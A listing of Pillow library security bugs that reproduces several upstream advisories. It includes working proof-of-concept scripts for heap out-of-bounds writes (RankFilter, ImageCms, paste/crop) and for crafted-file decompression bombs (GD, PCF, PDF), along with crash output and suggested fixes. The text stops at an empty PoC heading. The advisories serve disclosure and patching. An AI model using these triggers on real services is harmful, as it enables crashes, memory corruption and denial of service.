153 known bugs in pillow, with affected versions, fixes and workarounds. Sourced from upstream issue trackers.
| Severity | Affected | Fixed in | Title | Status | Source |
|---|
| high | any | 12.3.0 | Pillow: Heap out-of-bounds write in `ImageFilter.RankFilter` via integer overflow in `ImagingExpand` ### Summary
Pillow's public rank-filter API can trigger a native heap out-of-bounds write
when given a very large odd filter size.
Minimal public API trigger:
```python
from PIL import Image, ImageFilter
im = Image.new("L", (3, 3), 128)
im.filter(ImageFilter.MedianFilter(4294967295))
```
`ImageFilter.RankFilter.filter()` calls `image.expand(size // 2, size // 2)`
before rank-filter size validation. With `size = 4294967295`, the
expansion margin is `2147483647` (`INT_MAX`). `ImagingExpand()` then computes
the output dimensions with unchecked signed `int` arithmetic. On tested builds,
this wraps to a tiny output image and the border-expansion loop writes past the
allocation.
This is reachable through documented public classes (`RankFilter`,
`MedianFilter`, `MinFilter`, and `MaxFilter`). No private API, ctypes, or custom
Python object is needed.
### Details
Current `src/PIL/ImageFilter.py`:
```python
class RankFilter(Filter):
def filter(self, image):
if image.mode == "P":
msg = "cannot filter palette images"
raise ValueError(msg)
image = image.expand(self.size // 2, self.size // 2)
return image.rankfilter(self.size, self.rank)
```
The `expand()` call is made before `image.rankfilter(...)`.
Current `src/libImaging/Filter.c:ImagingExpand()` does not check output-size
overflow:
```c
if (xmargin < 0 && ymargin < 0) {
return (Imaging)ImagingError_ValueError("bad kernel size");
}
imOut = ImagingNewDirty(
imIn->mode, imIn->xsize + 2 * xmargin, imIn->ysize + 2 * ymargin
);
```
For a `3x3` image and `xmargin = ymargin = INT_MAX`, the computed output size
wraps to `1x1` on tested builds. The following loop still uses the huge margin:
```c
for (x = 0; x < xmargin; x++) {
imOut->image[yout][x] = imIn->image[yin][0];
}
```
`src/libImaging/RankFilter.c` does contain checks that would reject this size:
```c
if (!(size & 1)) {
return (Imaging)ImagingError_ValueError("bad filter size");
}
if (size > INT_MAX / size || size > INT_MAX / (size * (int)sizeof(FLOAT32))) {
return (Imaging)ImagingError_ValueError("filter size too large");
}
```
But those checks are reached only after `RankFilter.filter()` has already
called `image.expand(...)`.
Mode `"L"` produces 1-byte OOB stores. Modes `"I"` and `"F"` produce 4-byte OOB
stores. The repeated value written OOB is copied from the source image border
pixel, so attacker-supplied image bytes can influence it. This is a sequential
overwrite, not an arbitrary-address write.
### PoC
Minimal ASAN crash PoC:
```python
from PIL import Image, ImageFilter
im = Image.new("L", (3, 3), 128)
im.filter(ImageFilter.MedianFilter(4294967295))
```
Observed on local Pillow `12.3.0.dev0` ASAN target:
```text
ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 1
ImagingExpand /out/src/src/libImaging/Filter.c:99
_expand_image /out/src/src/_imaging.c:1100
0 bytes after a 1-byte allocation
```
4-byte write variant with source pixel loaded from normal image bytes:
```python
from io import BytesIO
from PIL import Image, ImageFilter
SIZE = 4294967295
PIXEL = 0x41424344
src = BytesIO()
Image.new("I", (3, 3), PIXEL).save(src, format="TIFF")
im = Image.open(BytesIO(src.getvalue()))
im.load()
assert im.mode == "I"
assert im.getpixel((0, 0)) == PIXEL
im.filter(ImageFilter.MedianFilter(SIZE))
```
Observed ASAN signature:
```text
ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 4
ImagingExpand /out/src/src/libImaging/Filter.c:101
_expand_image /out/src/src/_imaging.c:1100
0 bytes after a 4-byte allocation
```
Version checks:
```text
Pillow 1.0: ASAN heap-buffer-overflow WRITE confirmed at runtime
Pillow 12.3.0.dev0: ASAN heap-buffer-overflow WRITE confirmed at runtime
Pillow 1.0 through 12.2.0: source sweep confirmed the vulnerable public
validation order and unchecked ImagingExpand arithmetic
upstream/main at 9c1097c861420c77af53c7c9af2a1382e2bfaa8b: still affected
```
### Impact
It is a heap out-of-bounds write in Pillow's native C extension, reachable
through public image-filter classes.
Applications are impacted if an untrusted user can control the rank-filter
size/configuration passed to Pillow. If the image is also attacker-supplied, the
source pixel value written out of bounds can be attacker-influenced, including
4-byte values for mode `"I"` images.
## Possible fix
Validate the rank-filter size before calling `image.expand(...)`, and harden
`ImagingExpand()` against invalid margins and overflow:
```c
if (xmargin < 0 || ymargin < 0) {
return (Imaging)ImagingError_ValueError("bad kernel size");
}
if (xmargin > (INT_MAX - imIn->xsize) / 2 ||
ymargin > (INT_MAX - imIn->ysize) / 2) {
return (Imaging)ImagingError_ValueError("bad kernel size");
}
``` | fixed | osv:GHSA-xj96-63gp-2gmr |
| high | 8.2.0 | 12.3.0 | Pillow JPEG2000 tiled decode retains a growing scratch buffer and can be used for denial of service ### Summary
`src/libImaging/Jpeg2KDecode.c:853` accumulates `total_component_width` across every tile in a JPEG2000 image instead of recomputing it per tile. That accumulated value is then used in the `tile_bytes` calculation at `src/libImaging/Jpeg2KDecode.c:868`, which can make the decoder grow `state->buffer` via `realloc` at `src/libImaging/Jpeg2KDecode.c:876` up to roughly one full image's decompressed size even when each tile is small. A crafted tiled JPEG2000 file can therefore force substantially higher transient memory usage and trigger out-of-memory failures during decoding. Based on current evidence, the supported impact is denial of service, not memory corruption.
### Details
- Location: `src/libImaging/Jpeg2KDecode.c:853`
- Root cause: `total_component_width` is initialized only once before the tile loop and keeps growing across tiles. It is then used to derive `tile_bytes`, so later tiles are treated as if they had the combined component width of all earlier tiles.
- Dangerous operation: `tile_bytes` is promoted into `tile_info.data_size`, then `state->buffer` is grown with `realloc` at `src/libImaging/Jpeg2KDecode.c:876`.
- Reachability: any attacker-controlled JPEG2000 image with many tiles reaches this path during normal `Image.open(...).load()` decoding.
### PoC
The attached helper script and testcase were used:
[exercise_j2k_tile_realloc.zip](https://github.com/user-attachments/files/28099912/exercise_j2k_tile_realloc.zip)
Generate the testcase:
```bash
pythonexercise_j2k_tile_realloc.py make poc_3664_rgba_tile1832.jp2 \
--size 3664 --tile 1832
```
Expected geometry from the helper:
- image size: `3664 x 3664`
- mode: `RGBA`
- tile size: `1832 x 1832` (`2x2` tiles)
- `image_bytes=53699584`
- uncapped RSS observed:
- vulnerable build: `maxrss_kb=180264`
- fixed comparison build: `maxrss_kb=138404`
Load it with the current vulnerable build:
```bash
python exercise_j2k_tile_realloc.py load poc_3664_rgba_tile1832.jp2
```
Load it again under a 160 MB address-space cap:
```bash
python exercise_j2k_tile_realloc.py load poc_3664_rgba_tile1832.jp2 --limit-mb 160
```
### Impact
Conservative impact: denial of service through memory exhaustion during JPEG2000 decoding. | fixed | |
| high | 10.3.0 | 12.2.0 | Pillow has an OOB Write with Invalid PSD Tile Extents (Integer Overflow) ### Impact
Processing a malicious PSD file could lead to memory corruption, potentially resulting in a crash or arbitrary code execution.
### Patches
Patched version: 12.2.0
Pillow 12.1.1 addressed CVE-2026-25990 by adding checks for tile extents in PSD image decoding/encoding to prevent an out-of-bounds write. However, the bounds checks computed tile extent sums using types susceptible to integer overflow, meaning a PSD image with carefully chosen tile dimensions could produce values that wrap around and bypass the checks, still triggering an out-of-bounds write in src/decode.c and src/encode.c. The fix avoids adding extents together before comparison.
### Workarounds
Use any version but affected versions: >= 10.3.0, < 12.2.0
### Resources
- Fix: https://github.com/python-pillow/Pillow/pull/9520
- Original issue: CVE-2026-25990 (Pillow 12.1.1) | fixed | osv:GHSA-pwv6-vv43-88gr |
| high | any | 12.3.0 | Pillow `GdImageFile._open()`: image dimensions accepted without `_decompression_bomb_check()` ## Description
`PIL/GdImageFile.py` `GdImageFile._open()` reads image dimensions from the GD 2.x header and stores them in `self._size` without calling `Image._decompression_bomb_check()`. Because `GdImageFile` is **not registered with `Image.register_open()`**, it never passes through the standard `Image.open()` code path that enforces Pillow's decompression bomb guard. The plugin exposes its own entry point — `PIL.GdImageFile.open(fp)` — which directly instantiates the class, fully bypassing the documented protection.
**Vulnerable code (`PIL/GdImageFile.py` lines 50–61):**
```python
def _open(self) -> None:
s = self.fp.read(1037)
if i16(s) not in [65534, 65535]:
raise SyntaxError("Not a valid GD 2.x .gd file")
self._mode = "P"
self._size = i16(s, 2), i16(s, 4) # ← unsigned 16-bit; max 65535 each
# NO _decompression_bomb_check() call here ←
...
self.tile = [ImageFile._Tile("raw", (0, 0) + self.size, 1037, "L")]
```
When `load()` is subsequently called on the returned image object:
```python
load() → load_prepare() → Image.core.new("P", (65535, 65535))
# ↑ C-level allocation of 4,294,836,225 bytes ≈ 4.3 GB — no Python bomb check precedes this
```
**Dimension arithmetic:**
| Field | Value |
|---|---|
| Maximum width from header | 65,535 (unsigned 16-bit) |
| Maximum height from header | 65,535 (unsigned 16-bit) |
| Maximum pixel count | 65,535 × 65,535 = **4,294,836,225** |
| `DecompressionBombError` threshold | 178,956,970 (2 × MAX_IMAGE_PIXELS) |
| **Overshoot ratio** | **24× above DecompressionBombError threshold** |
| Memory at max dimensions | **≈ 4.3 GB** (palette-mode: 1 byte/pixel) |
| Minimum attack file size | **1,037 bytes** (header only — no pixel data needed) |
**Comparison with safe sibling plugin (`WalImageFile`):**
`WalImageFile` is in the same category — not registered with `Image.open()`, loaded via its own `open()` helper. It was previously patched with the correct fix:
```python
# PIL/WalImageFile.py line 46 — CORRECT pattern (already patched)
self._size = i32(header, 32), i32(header, 36)
Image._decompression_bomb_check(self.size) # ← present
```
`GdImageFile` was never updated to match, leaving a gap in protection.
## Steps to reproduce
**Proof of Concept script:**
```python
#!/usr/bin/env python3
"""
PoC: GdImageFile decompression bomb bypass
1037-byte crafted .gd file → 4.3 GB C-heap allocation, NO bomb check
"""
import io, struct
from PIL import GdImageFile, Image
# Build minimal 1037-byte GD 2.x palette-mode header:
# sig(2) + width(2) + height(2) + true_color(1) + tindex(4) + colors_used(2) + palette(1024)
sig = struct.pack(">H", 0xFFFE) # 65534 = GD 2.x magic
w = struct.pack(">H", 65535) # max width
h = struct.pack(">H", 65535) # max height
true_color = b"\x00" # 0 = palette mode
tindex = struct.pack(">I", 0xFFFFFFFF) # > 255 = no transparency
colors_used = b"\x00\x00"
palette_data = b"\x00" * 1024
header = sig + w + h + true_color + tindex + colors_used + palette_data
assert len(header) == 1037
# Confirm: standard Image.open() path BLOCKS this size
try:
Image._decompression_bomb_check((65535, 65535))
except Image.DecompressionBombError as e:
print(f"[BLOCKED] Image.open() path: {e}")
# Vulnerable path: GdImageFile.open() has NO bomb check
img = GdImageFile.open(io.BytesIO(header))
print(f"[BYPASS] GdImageFile.open() succeeded: size={img.size}, mode={img.mode}")
print(f" No _decompression_bomb_check called — 4.3 GB allocation not blocked")
# Trigger load_prepare() → Image.core.new("P", (65535, 65535))
try:
img.load()
except OSError:
print(f"[INFO] load() OSError (no pixel data) — but C-heap allocation already attempted")
print(f"\n[MATH] {65535 * 65535:,} pixels = {65535*65535 / (Image.MAX_IMAGE_PIXELS*2):.1f}× error threshold")
print(f"[MATH] Attack file: 1,037 bytes only")
```
**Expected output:**
```
[BLOCKED] Image.open() path: Image size (4294836225 pixels) exceeds limit of 178956970
pixels, could be decompression bomb DOS attack.
[BYPASS] GdImageFile.open() succeeded: size=(65535, 65535), mode=P
No _decompression_bomb_check called — 4.3 GB allocation not blocked
[INFO] load() OSError (no pixel data) — but C-heap allocation already attempted
[MATH] 4,294,836,225 pixels = 24.0× error threshold
[MATH] Attack file: 1,037 bytes only
```
**Verified live on Pillow 12.2.0.**
**Two attack paths:**
| Path | File size | Effect |
|---|---|---|
| Transient (header only) | **1,037 bytes** | `load_prepare()` attempts 4.3 GB C allocation → `OSError` after spike |
| Persistent (full pixel data) | ~4.3 GB | `load()` completes, 4.3 GB stays in memory for object lifetime |
For the transient path, a 1,037-byte file is all that is needed. The attacker does not need to upload a large file.
**Real-world scenario:**
```python
from PIL import GdImageFile
# Application accepts user-uploaded .gd files
img = GdImageFile.open(user_uploaded_file) # succeeds — no bomb check
img.load() # triggers 4.3 GB C-heap allocation
```
## Impact
- **Availability:** HIGH — a single 1,037-byte malicious `.gd` file causes the host process to attempt a ~4.3 GB C-heap allocation. On systems with insufficient memory this crashes the process. Repeatable — attacker can loop requests to keep the server down.
- **Confidentiality:** None
- **Integrity:** None
- **Authentication required:** No — any public endpoint accepting image uploads is affected
- **User interaction:** None
Any service that calls `PIL.GdImageFile.open(user_file)` followed by `.load()` (or any lazy-load trigger) is vulnerable. Because the attack requires only a 1,037-byte file, network bandwidth is not a constraint.
Confirmed unpatched on `python-pillow/Pillow` `main` branch as of 2026-06-08. | ||
| high | 5.1.0 | 12.3.0 | Pillow: Decompression Bomb DoS via PdfParser.PdfStream.decode() ### Summary
`PdfParser.PdfStream.decode()` in Pillow's `PdfParser.py` calls `zlib.decompress()` with the `bufsize` parameter set to the value of the PDF stream's `Length` field, without any upper bound on the actual decompressed output size. Python's `zlib.decompress()` `bufsize` argument is an *initial output buffer hint*, not a maximum size limit — the function will expand memory until the full decompressed result is produced. A crafted PDF containing a FlateDecode-compressed stream decompresses to 1 GB of memory from a ~950 KB file, causing server OOM termination or severe degradation in any application that uses `PdfParser` to read untrusted PDF files.
### Details
`PdfStream.decode()` in `pdfminer/PdfParser.py` reads the stream's declared `Length` (or `DL`) field from the PDF dictionary and passes it as `bufsize` to `zlib.decompress()`:
```python
# PIL/PdfParser.py — PdfStream.decode()
class PdfStream:
def decode(self) -> bytes:
try:
filter = self.dictionary[b"Filter"]
except KeyError:
return self.buf
if filter == b"FlateDecode":
try:
expected_length = self.dictionary[b"DL"]
except KeyError:
expected_length = self.dictionary[b"Length"]
return zlib.decompress(self.buf, bufsize=int(expected_length))
# ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
# bufsize is an *initial buffer hint*, NOT a maximum size limit.
# zlib.decompress() allocates as much memory as needed regardless.
```
From the Python documentation: *"The `bufsize` parameter is used as the initial size of the output buffer."* It does not cap decompression. An attacker who controls the PDF stream contents can provide a highly-compressed payload that expands to gigabytes, while setting `Length` to any value (including the actual compressed size) to avoid triggering format validation.
`PdfParser` is instantiated with a filename or file object and calls `read_pdf_info()` on open, which parses the xref table and makes stream objects accessible. `PdfStream.decode()` is reachable whenever calling code accesses a compressed stream object from the parsed PDF.
**Confirmed reachable path:**
```python
with PdfParser.PdfParser("evil.pdf") as pdf:
stream_obj, _ = pdf.get_value(pdf.buf, stream_offset)
data = stream_obj.decode() # ← OOM here
```
### PoC
```python
import zlib, tempfile, os, time
from PIL import PdfParser
# Build a minimal PDF with a 100 MB FlateDecode bomb (demo scale)
EXPAND_MB = 100
raw = b'\x00' * (EXPAND_MB * 1_000_000)
compressed = zlib.compress(raw, level=9) # ~97 KB
buf = b'%PDF-1.4\n'
o1 = len(buf); buf += b'1 0 obj\n<< /Type /Pages /Kids [] /Count 0 >>\nendobj\n'
o2 = len(buf); buf += b'2 0 obj\n<< /Type /Catalog /Pages 1 0 R >>\nendobj\n'
o3 = len(buf)
hdr = f'<< /Filter /FlateDecode /Length {len(compressed)} >>'.encode()
buf += b'3 0 obj\n' + hdr + b'\nstream\n' + compressed + b'\nendstream\nendobj\n'
xref = len(buf)
buf += b'xref\n0 4\n0000000000 65535 f \n'
for off in [o1, o2, o3]:
buf += f'{off:010d} 00000 n \n'.encode()
buf += b'trailer\n<< /Size 4 /Root 2 0 R >>\nstartxref\n' + str(xref).encode() + b'\n%%EOF\n'
print(f"PDF size: {len(buf):,} bytes ({len(buf)/1024:.1f} KB)")
with tempfile.NamedTemporaryFile(delete=False, suffix='.pdf') as f:
f.write(buf); tmpname = f.name
with PdfParser.PdfParser(tmpname) as pdf:
obj, _ = pdf.get_value(pdf.buf, o3)
t = time.time()
decoded = obj.decode()
print(f"Decoded: {len(decoded):,} bytes in {time.time()-t:.3f}s")
os.unlink(tmpname)
```
**Actual output (Pillow 12.1.1, Python 3.12):**
```
PDF size: 97,538 bytes (95.3 KB)
Decoded: 100,000,000 bytes in 0.265s
```
**Measured expansion:**
| PDF file size | Memory allocated | Ratio | Wall time |
|---|---|---|---|
| 10 KB | 10 MB | 1,026× | 0.024 s |
| 95 KB | 100 MB | 1,028× | 0.265 s |
| 475 KB | 500 MB | 1,028× | 1.279 s |
| 950 KB | 1,000 MB (1 GB) | 1,028× | 2.668 s |
### Impact
This is a denial-of-service vulnerability. Any application that uses `PIL.PdfParser.PdfParser` to read untrusted PDF files is affected. An unauthenticated attacker who can submit a PDF for processing can exhaust all available server memory with a ~950 KB file, causing OOM termination or service degradation affecting all concurrent users. No authentication or user interaction beyond submitting the file is required.
**Note:** This vulnerability is independent of CVE-2025-64512 / CVE-2025-70559 (pdfminer.six) and the companion `PIL/PdfImagePlugin.py` decompression issue. It exists specifically in Pillow's own `PdfParser.py` module, which is distinct from pdfminer.six.
**Suggested fix:**
```python
MAX_DECOMPRESS_BYTES = 200 * 1024 * 1024 # 200 MB cap
def decode(self) -> bytes:
...
if filter == b"FlateDecode":
...
result = zlib.decompress(self.buf, bufsize=int(expected_length))
if len(result) > MAX_DECOMPRESS_BYTES:
msg = "Decompressed stream exceeds maximum allowed size"
raise ValueError(msg)
return result
``` | ||
| high | any | 12.3.0 | Pillow: Controlled heap out-of-bounds write in Pillow `ImageCmsTransform.apply()` via output mode mismatch ### Summary
Pillow's public `ImageCms.ImageCmsTransform.apply(im, imOut)` API can trigger
controlled native heap corruption when the caller supplies an output image whose
mode does not match the transform's declared output mode.
For example, a transform built as `RGBA -> RGBA` can be applied to an `L` output
image. Pillow checks dimensions only, then calls LittleCMS with the output row
pointer. LittleCMS writes RGBA-sized rows into a 1-byte-per-pixel `L` image row.
### Details
`src/PIL/ImageCms.py:ImageCmsTransform.apply()` accepts an optional caller
supplied `imOut`:
```python
def apply(self, im, imOut=None):
if imOut is None:
imOut = Image.new(self.output_mode, im.size, None)
self.transform.apply(im.getim(), imOut.getim())
imOut.info["icc_profile"] = self.output_profile.tobytes()
return imOut
```
If `imOut` is provided, Pillow does not check:
```text
im.mode == self.input_mode
imOut.mode == self.output_mode
```
The C wrapper in `src/_imagingcms.c` unwraps both image cores and only checks
that the output dimensions are at least as large as the input dimensions:
```c
static int
pyCMSdoTransform(Imaging im, Imaging imOut, cmsHTRANSFORM hTransform) {
if (im->xsize > imOut->xsize || im->ysize > imOut->ysize) {
return -1;
}
for (i = 0; i < im->ysize; i++) {
cmsDoTransform(hTransform, im->image[i], imOut->image[i], im->xsize);
}
pyCMScopyAux(hTransform, imOut, im);
return 0;
}
```
`findLCMStype()` maps `RGB`, `RGBA`, and `RGBX` transform modes to LittleCMS
`TYPE_RGBA_8`, which writes 4 bytes per pixel:
```c
case IMAGING_MODE_RGB:
case IMAGING_MODE_RGBA:
case IMAGING_MODE_RGBX:
return TYPE_RGBA_8;
```
So with a transform declared as `RGBA -> RGBA`, LittleCMS writes `4 * width`
bytes to each output row. If the supplied output image is mode `L`, Pillow only
allocated `1 * width` bytes for that row.
For width 4096:
```text
destination row allocation: 4096 bytes
LittleCMS write size: 16384 bytes
overflow: ~12288 bytes past the row
```
The bug does not require a large image. Width 8 was enough to corrupt heap
metadata. At width 8, `apply()` returned to Python and printed `after`; glibc
detected the corrupted heap later during cleanup.
### PoC
Tiny heap corruption trigger:
```python
from PIL import Image, ImageCms
srgb = ImageCms.createProfile("sRGB")
transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")
im = Image.new("RGBA", (8, 1), (0x41, 0x42, 0x43, 0x44))
out = Image.new("L", (8, 1), 0)
print("before", flush=True)
transform.apply(im, out)
print("after")
```
Observed locally on Pillow `12.3.0.dev0`:
```text
before
after
free(): invalid next size (normal)
Aborted (core dumped)
```
Controlled overwrite evidence PoC:
```python
from PIL import Image, ImageCms
srgb = ImageCms.createProfile("sRGB")
transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")
im = Image.new("RGBA", (4096, 1), (0x41, 0x42, 0x43, 0x44))
out = Image.new("L", (4096, 1), 0)
transform.apply(im, out)
```
Run under gdb:
```bash
gdb -q --batch -ex run -ex bt --args \
python3 b022_controlled.py
```
Observed on Pillow `12.3.0.dev0`:
```text
Program received signal SIGSEGV, Segmentation fault.
___pthread_mutex_lock (mutex=mutex@entry=0x4443424144434241)
#1 _cmsLockPrimitive (m=0x4443424144434241)
#2 defMtxLock (id=0x4443424144434241, mtx=0x4443424144434241)
#3 _cmsLockMutex (ContextID=0x4443424144434241, mtx=0x4443424144434241)
#4 cmsSaveProfileToIOhandler(...)
#5 cmsSaveProfileToMem(...)
#6 cms_profile_tobytes (...) at src/_imagingcms.c:152
```
`0x4443424144434241` is the attacker-controlled source pixel pattern
`b"ABCDABCD"` interpreted as a little-endian pointer-sized value.
Using source pixels `(1, 2, 3, 4)` similarly produced a faulting pointer of
`0x403020104030201`, matching the repeated pixel bytes.
### Impact
This is a heap out-of-bounds write in Pillow's native ImageCms extension,
reachable through public API.
Applications are impacted if untrusted users can control ImageCms transform
parameters and/or provide the output image object passed to
`ImageCmsTransform.apply()`. The source image pixels influence the bytes written
out of bounds.
## Suggested fix
Validate modes before calling into the native transform:
```python
def apply(self, im, imOut=None):
if im.mode != self.input_mode:
raise ValueError("input mode mismatch")
if imOut is None:
imOut = Image.new(self.output_mode, im.size, None)
elif imOut.mode != self.output_mode:
raise ValueError("output mode mismatch")
self.transform.apply(im.getim(), imOut.getim())
imOut.info["icc_profile"] = self.output_profile.tobytes()
return imOut
```
The C extension should also defensively reject mismatched image modes before
calling `cmsDoTransform()`. | ||
| high | any | 12.3.0 | Pillow `PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` — bomb protection bypass via PCF font loading ## Description
`PIL/PcfFontFile.py` `_load_bitmaps()` (line 227) reads glyph dimensions from the PCF `METRICS` section and passes them directly to `Image.frombytes()` without calling `Image._decompression_bomb_check()`. Dimensions originate from unsigned 16-bit values:
```
xsize = right - left (max: 65535 − 0 = 65535)
ysize = ascent + descent (max: 65535 + 65535 = 131070)
```
Maximum exploitable pixel count: **65,535 × 131,070 = 8,589,734,450 pixels** — **48× the DecompressionBombError threshold**.
**Vulnerable code (`PIL/PcfFontFile.py` line 224–227):**
```python
for i in range(nbitmaps):
xsize, ysize = metrics[i][:2] # from PCF METRICS — attacker-controlled
b, e = offsets[i : i + 2]
bitmaps.append(
Image.frombytes("1", (xsize, ysize), data[b:e], "raw", mode, pad(xsize))
# ↑ NO _decompression_bomb_check()!
)
```
`Image.frombytes()` calls `Image.new()` first (allocating the full C-heap buffer), **then** attempts to fill it. This creates two distinct attack paths:
- **Persistent attack**: Provide matching bitmap data → `frombytes()` succeeds → image stored in `font.glyph[ch]` permanently
- **Transient attack**: Provide a 148-byte PCF file with large declared dimensions but no data → `Image.new()` allocates the full buffer → `ValueError` → buffer freed → but the spike occurs before Python can respond
## Steps to reproduce
**Proof of Concept script:**
```python
#!/usr/bin/env python3
"""PoC: PcfFontFile bomb bypass — 148-byte PCF → 23 MB allocation"""
import io, struct, tracemalloc, warnings
warnings.filterwarnings("ignore")
from PIL.PcfFontFile import PcfFontFile
from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError
W, H = 14000, 14000 # 196M pixels → above DecompressionBombError threshold
# Show what Image.open() would do
warnings.filterwarnings("error", category=DecompressionBombWarning)
try:
_decompression_bomb_check((W, H))
except (DecompressionBombWarning, DecompressionBombError) as e:
print(f"[Image.open() path] BLOCKED by {type(e).__name__}")
warnings.filterwarnings("ignore")
# PCF binary constants
PCF_MAGIC = 0x70636601
PCF_PROPS = 1 << 0
PCF_METRICS = 1 << 2
PCF_BITMAPS = 1 << 3
PCF_ENCODINGS= 1 << 5
def build_bomb_pcf(xsize, ysize):
# Properties: empty
props = struct.pack("<III", 0, 0, 0)
# Metrics (jumbo, non-compressed): 1 glyph — xsize=right-left, ysize=ascent+descent
metrics = struct.pack("<II", 0, 1)
metrics += struct.pack("<HHHHHH", 0, xsize, xsize, ysize, 0, 0)
# Bitmaps: 1 glyph, empty data (transient attack)
bitmaps = struct.pack("<II", 0, 1)
bitmaps += struct.pack("<I", 0) # offset[0] = 0
bitmaps += struct.pack("<IIII", 0, 0, 0, 0) # bitmap_sizes all = 0
# Encodings: char 0x41 ('A') → glyph 0
enc_offsets = [0xFFFF]*65 + [0] + [0xFFFF]*62
encodings = struct.pack("<IHHHHH", 0, 0, 127, 0, 0, 0xFFFF)
encodings += struct.pack("<" + "H"*128, *enc_offsets)
secs = [(PCF_PROPS, props), (PCF_METRICS, metrics),
(PCF_BITMAPS, bitmaps), (PCF_ENCODINGS, encodings)]
hdr_size = 4 + 4 + len(secs) * 16
out = struct.pack("<II", PCF_MAGIC, len(secs))
offset = hdr_size
for stype, sdata in secs:
out += struct.pack("<IIII", stype, 0, len(sdata), offset)
offset += len(sdata)
for _, sdata in secs:
out += sdata
return out
pcf = build_bomb_pcf(W, H)
print(f"[*] PCF file size : {len(pcf)} bytes")
print(f"[*] Glyph size : {W} x {H} = {W*H:,} pixels")
print(f"[*] C-heap target : {W*H//8//1024**2} MB (mode '1' = 1 bit/pixel)")
tracemalloc.start()
try:
font = PcfFontFile(io.BytesIO(pcf))
_, peak = tracemalloc.get_traced_memory()
tracemalloc.stop()
print(f"[!] CONFIRMED (persistent): bomb check bypassed — heap peak {peak/1024**2:.2f} MB")
except Exception as e:
_, peak = tracemalloc.get_traced_memory()
tracemalloc.stop()
print(f"[!] CONFIRMED (transient): {type(e).__name__} after allocation")
print(f" Heap peak: {peak/1024**2:.2f} MB")
print(f" C-heap allocation of ~{W*H//8//1024**2} MB occurred before exception")
```
**Expected output:**
```
[Image.open() path] BLOCKED by DecompressionBombError
[*] PCF file size : 148 bytes
[*] Glyph size : 14000 x 14000 = 196,000,000 pixels
[*] C-heap target : 23 MB (mode '1' = 1 bit/pixel)
[!] CONFIRMED (transient): ValueError after allocation
C-heap allocation of ~23 MB occurred before exception
```
**Amplification table:**
| PCF file | Glyph dims | C-heap (mode '1') | Bomb check |
|---|---|---|---|
| 148 bytes | 14000 × 14000 | 23 MB (transient) | Bypassed |
| 148 bytes | 65535 × 131070 | 1.07 GB (transient) | Bypassed |
| ~512 MB | 65535 × 131070 | 1.07 GB (persistent) | Bypassed |
## Impact
- **Availability**: HIGH — up to 1.07 GB per glyph, no limit per font file
- **Confidentiality**: None
- **Integrity**: None
- Any service loading PCF fonts from untrusted sources (e.g., `PcfFontFile(fp)`) is affected
- `PcfFontFile` is never loaded via `Image.open()`, so the bomb check protection is completely absent from the entire PCF font loading path
- Confirmed unpatched on `python-pillow/Pillow` `main` branch as of 2026-06-07 | ||
| high | any | 12.3.0 | Pillow: Heap out-of-bounds write `Image.paste()` / `Image.crop()` via signed coordinate overflow ### Summary
Pillow's public image coordinate APIs can trigger a native heap out-of-bounds
write when given coordinates near the signed 32-bit integer limits. In 4-byte
pixel modes such as `RGBA`, this becomes a controlled backward heap underwrite:
for a source image of width `W`, Pillow writes `4 * W` attacker-controlled bytes
starting `4 * W` bytes before the destination row pointer. With successful large
image allocation, the theoretical upper bound is ~2 GiB backwards from
the destination row.
Minimal public API trigger:
```python
from PIL import Image
INT_MIN = -(1 << 31)
src = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44))
dst = Image.new("RGBA", (8, 1))
dst.paste(src, ((1 << 31) - 2, 0, INT_MIN, 1))
```
The same root cause is also reachable through `Image.crop()` and
`Image.alpha_composite()`. No private API, ctypes, custom Python object, or
malformed image file is needed.
This has been confirmed as an ASAN heap-buffer-overflow write. On normal
non-ASAN Pillow builds, the minimal trigger corrupts the heap and aborts with
`double free or corruption (out)`
### Details
`src/PIL/Image.py:paste()` accepts a 4-tuple box and passes it to the native
`ImagingCore.paste()` method:
```python
self.im.paste(source, box)
```
`src/_imaging.c:_paste()` parses the four Python coordinates into signed `int`
values and calls `ImagingPaste()`:
```c
int x0, y0, x1, y1;
PyArg_ParseTuple(args, "O(iiii)|O!", &source, &x0, &y0, &x1, &y1, ...);
status = ImagingPaste(self->image, PyImaging_AsImaging(source), ..., x0, y0, x1, y1);
```
`src/libImaging/Paste.c:ImagingPaste()` computes and clips the region using
signed `int` arithmetic:
```c
xsize = dx1 - dx0;
ysize = dy1 - dy0;
if (dx0 + xsize > imOut->xsize) {
xsize = imOut->xsize - dx0;
}
```
With `dx0 = 2147483646` and `dx1 = -2147483648`, `dx1 - dx0` wraps to `2`.
That matches the 2-pixel source image, so the size check passes. The later
`dx0 + xsize` clip check wraps around and does not reject the out-of-bounds
destination.
For 4-byte pixel modes such as `RGBA`, the paste loop then multiplies `dx` by
`pixelsize`:
```c
dx *= pixelsize;
xsize *= pixelsize;
memcpy(imOut->image[y + dy] + dx, imIn->image[y + sy] + sx, xsize);
```
For the minimal PoC, this writes 8 attacker-controlled bytes 8 bytes before the
destination row allocation.
The primitive scales with the attacker-controlled source width:
```text
source width = W
box = ((1 << 31) - W, 0, INT_MIN, 1)
C destination offset = -4 * W
C memcpy size = 4 * W
write range = [row_start - 4W, row_start)
```
Examples for `RGBA`:
```text
W = 2 -> writes 8 bytes before the row
W = 1024 -> writes 4096 bytes before the row
W = 65536 -> writes 256 KiB before the row
W = 1000000 -> writes about 4 MiB before the row
```
Pillow's image creation guard currently limits `xsize` to roughly
`INT_MAX / 4 - 1`, so the theoretical upper bound for this `RGBA` underwrite is
`2,147,483,640` bytes before the destination row pointer. In practice, the
usable range depends on memory availability, allocator layout, and process heap
state.
Two other documented APIs reach the same sink:
```python
# Image.crop() path
left = INT_MIN + 2
Image.new("RGBA", (2, 1)).crop((left, 0, left + 2, 1))
# Image.alpha_composite() path, via its internal crop()
base = Image.new("RGBA", (2, 1))
over = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44))
base.alpha_composite(over, dest=(left, 0))
```
`Image.crop()` keeps `right - left` small, so the Python decompression-bomb
check allows it. `src/libImaging/Crop.c` then computes wrapped paste
coordinates and calls `ImagingPaste()`.
### PoC
